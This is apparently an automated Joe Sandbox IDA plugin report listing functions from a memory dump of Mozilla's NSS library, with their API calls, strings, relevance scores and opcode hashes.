Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 1a8f7ff4b2b299e63a3ae5ec036db0291c3a6b1eb1d8401b5122fd017be5bcd7
Instruction ID: d993ec6d13289219105e119a1ee8c1c7008dcb08ebd404ec9de1abd9cbe3adbd
Opcode Fuzzy Hash: 1a8f7ff4b2b299e63a3ae5ec036db0291c3a6b1eb1d8401b5122fd017be5bcd7
Instruction Fuzzy Hash: 8921E732A042A49FDF509F28DC84B5EB7A4EF49758F148129ED199BE41D730EC15CBE2

Function 6CACEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CACEE49

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CACEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CACEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CACEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CACEEB3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: aaa7aea042df936a419190531c3c5acf4b9e107278341a988fde8fd9dccaa16d
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 4621DBB66002107BEB118E54DC81EAB7768EF49748F080164FD049B341E771DC54C7F1

Function 6CAE5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAE5D71), ref: 6CAE5F0A
TlsGetValue.KERNEL32 ref: 6CAE5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CAE5F2F
PR_Unlock.NSS3(890008E8), ref: 6CAE5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CAE5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CAE5F7D

Part of subcall function 6CAE5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CAE5F82,8B4274C0), ref: 6CAE5248
Part of subcall function 6CAE5220: EnterCriticalSection.KERNEL32(0F6CBB0D,?,6CAE5F82,8B4274C0), ref: 6CAE525C
Part of subcall function 6CAE5220: PR_SetError.NSS3(00000000,00000000), ref: 6CAE528E
Part of subcall function 6CAE5220: PR_Unlock.NSS3(0F6CBAF1), ref: 6CAE5299
Part of subcall function 6CAE5220: free.MOZGLUE(00000000), ref: 6CAE52A9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: cac63ae33c14b22d27865076d7f1d480cb3cf784aacad0b2cd20db4d2a3e6703
Instruction ID: 22fef56f1b4e8dfc8a7ae07d479b79109fe294eccbfcde3a4d2c79eab3436f56
Opcode Fuzzy Hash: cac63ae33c14b22d27865076d7f1d480cb3cf784aacad0b2cd20db4d2a3e6703
Instruction Fuzzy Hash: C321B7B5D002545FDB10AFA8EC41AEEB7B4EF09318F540129E94AA7741EB31A958CBD1

Function 6CA9BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CB1DC29,?), ref: 6CA9BE64

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CB1DC29,?), ref: 6CA9BE78

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CB1DC29,?), ref: 6CA9BE96

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CB1DC29,?), ref: 6CA9BEBB

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CB1DC29,?), ref: 6CA9BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CB1DC29,?), ref: 6CA9BEF3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: c7f657b270941fd17ccff848f8b63582e9c936344154f0596d1f863b4fb7e103
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: DE11B7B1E102195BEB109B65ED46FAE37FCEF41259F140128EE18EB780EB31D949C7A1

Function 6CB23C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB23D3F

Part of subcall function 6CA9BA90: PORT_NewArena_Util.NSS3(00000800,6CB23CAF,?), ref: 6CA9BABF
Part of subcall function 6CA9BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CB23CAF,?), ref: 6CA9BAD5
Part of subcall function 6CA9BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CB23CAF,?), ref: 6CA9BB08
Part of subcall function 6CA9BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CB23CAF,?), ref: 6CA9BB1A
Part of subcall function 6CA9BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CB23CAF,?), ref: 6CA9BB3B

PR_EnterMonitor.NSS3(?), ref: 6CB23CCB

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

PR_EnterMonitor.NSS3(?), ref: 6CB23CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB23CF8
PR_ExitMonitor.NSS3(?), ref: 6CB23D15
PR_ExitMonitor.NSS3(?), ref: 6CB23D2E

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: d1a06e48f85a54525bd83f7f487716bbf67f90f9bcc967b2aa4f0e1aa52062f2
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: DB1108B5A106906FE7205E65EC417AFB2ECEB11348F500534E51E87B20E736F82EC653

Function 6CAEFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAEFE08

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAEFE1D

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CAEFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CAEFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAEFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CAEFE6F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: cd609e89f1e158cd582865492662a50fa74204a68cef1252dd2bcfec85c200d6
Instruction ID: 10493178084e419d5e5953d7e62977c706db6ed22129c9e02bb7561435d60ab0
Opcode Fuzzy Hash: cd609e89f1e158cd582865492662a50fa74204a68cef1252dd2bcfec85c200d6
Instruction Fuzzy Hash: C511E9B66002016BEB004B54EC40A5B73A8EF5C299F148038F92C97B52E731E995D7D1

Function 6CB9FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CB9FD9E

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CB9FDB9

Part of subcall function 6CA7A900: TlsGetValue.KERNEL32(00000000,?,6CBF14E4,?,6CA14DD9), ref: 6CA7A90F
Part of subcall function 6CA7A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA7A94F

PR_Unlock.NSS3 ref: 6CB9FDD4
PR_Lock.NSS3 ref: 6CB9FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CB9FE0D
PR_Unlock.NSS3 ref: 6CB9FE23

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 210dc2ae2d45f4d6432b99d84b5951f5be1c15dbb6ff89a1a2cabbf7ca60b069
Instruction ID: 715153f2e276569d9ba41d38c78773728518b6be5c45ec2afc39dd85bc396cb7
Opcode Fuzzy Hash: 210dc2ae2d45f4d6432b99d84b5951f5be1c15dbb6ff89a1a2cabbf7ca60b069
Instruction Fuzzy Hash: 06017CFAA04691ABDA058F65FC008457B21EB422687194774E87A47BA1E722D929CA82

Function 6CA7AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA7AFDA

Strings

misuse, xrefs: 6CA7AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CA7AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA7AFC4
%s at line %d of [%.10s], xrefs: 6CA7AFD3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 51977f54b4843a4852d597e0d283da20989f5b1cba62cb2f524840cc954032a9
Instruction ID: 9bc6a2ac496cf69b2238c80ecf327973d97031e8ce6b51278b9f076225aef3f9
Opcode Fuzzy Hash: 51977f54b4843a4852d597e0d283da20989f5b1cba62cb2f524840cc954032a9
Instruction Fuzzy Hash: B691D1B9B002159FDB14CF69C854AAEB7F2BF45314F1985A8E865ABB91C334EC41CB70

Function 6CADFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CADFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CADFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CADFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CADFDDE

Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8821
Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE883D
Part of subcall function 6CAE8800: EnterCriticalSection.KERNEL32(?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8856
Part of subcall function 6CAE8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAE8887
Part of subcall function 6CAE8800: PR_Unlock.NSS3(?,?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8899

Strings

pkcs11:, xrefs: 6CADFC4F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 1e55aeff4799a901b027bac58460eb2e6b6e7b86843ee2a5fa0d2aac07372965
Instruction ID: f14f118f915c83f18a8e709cec92f053ccca9e0095a72e6f71effe95e7fecb2f
Opcode Fuzzy Hash: 1e55aeff4799a901b027bac58460eb2e6b6e7b86843ee2a5fa0d2aac07372965
Instruction Fuzzy Hash: 0B51F4B5A012619BEB008F69ED44B9B3375AF4435CF1A002DDD985BB51EB30F998CB92

Function 6CA1BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CA1BE02

Part of subcall function 6CB49C40: memcmp.VCRUNTIME140(?,00000000,6CA1C52B), ref: 6CB49D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1BE9F

Strings

database corruption, xrefs: 6CA1BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1BE89
%s at line %d of [%.10s], xrefs: 6CA1BE98

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: fc1f407274fd7bc57a9da30fc5714ede03a7286de33fb2d8c8c99bae74950e1a
Instruction ID: 251cb7a818936403f5fd93bb0a9ebcc9deb0af62fda40663478fb4c440da5021
Opcode Fuzzy Hash: fc1f407274fd7bc57a9da30fc5714ede03a7286de33fb2d8c8c99bae74950e1a
Instruction Fuzzy Hash: 783136B1A0C2958BC700CF69E8D4AAFBBBAAF41314B1C8684E9441BF81D371EC84C7D0

Function 6CA80DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CA80BDE), ref: 6CA80DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CA80BDE), ref: 6CA80DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CA80BDE), ref: 6CA80DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CA80BDE), ref: 6CA80E32

Strings

%s incr => %d (find lib), xrefs: 6CA80E2D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: dc074e138a55c7e3e3215bb24185b21ed30ba1a8f1dab95a91e97e2cce7471ff
Instruction ID: c2ab2f7539226c7d82b44ef8b4d864265e8adc65b756335c69ea7dba70a89335
Opcode Fuzzy Hash: dc074e138a55c7e3e3215bb24185b21ed30ba1a8f1dab95a91e97e2cce7471ff
Instruction Fuzzy Hash: C0012472B02290AFE7209F64EC45E1B73BCEB45A09B09482DE949D3B41E761FC5986E1

Function 6CA29C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA29CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CA29D45
EnterCriticalSection.KERNEL32(?), ref: 6CA29D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CA29DDE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e4d61dc4a019b7edaf56a2f2a3749dfaa3b00447925efe67c692dff9aba1637b
Instruction ID: d84aac7a73f5f4aa553af89c1fc7aba2f64f51fb75fbdf6a6a775ff858b26e3c
Opcode Fuzzy Hash: e4d61dc4a019b7edaf56a2f2a3749dfaa3b00447925efe67c692dff9aba1637b
Instruction Fuzzy Hash: 0DA1C3717042608FEB48AF38EA9977E377ABB4AB14F1C012CD41647B45DB3D9885CB92

Function 6CAB1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CAB1ECC

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

TlsGetValue.KERNEL32 ref: 6CAB1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CAB1EEF
PR_ExitMonitor.NSS3(?), ref: 6CAB1F37
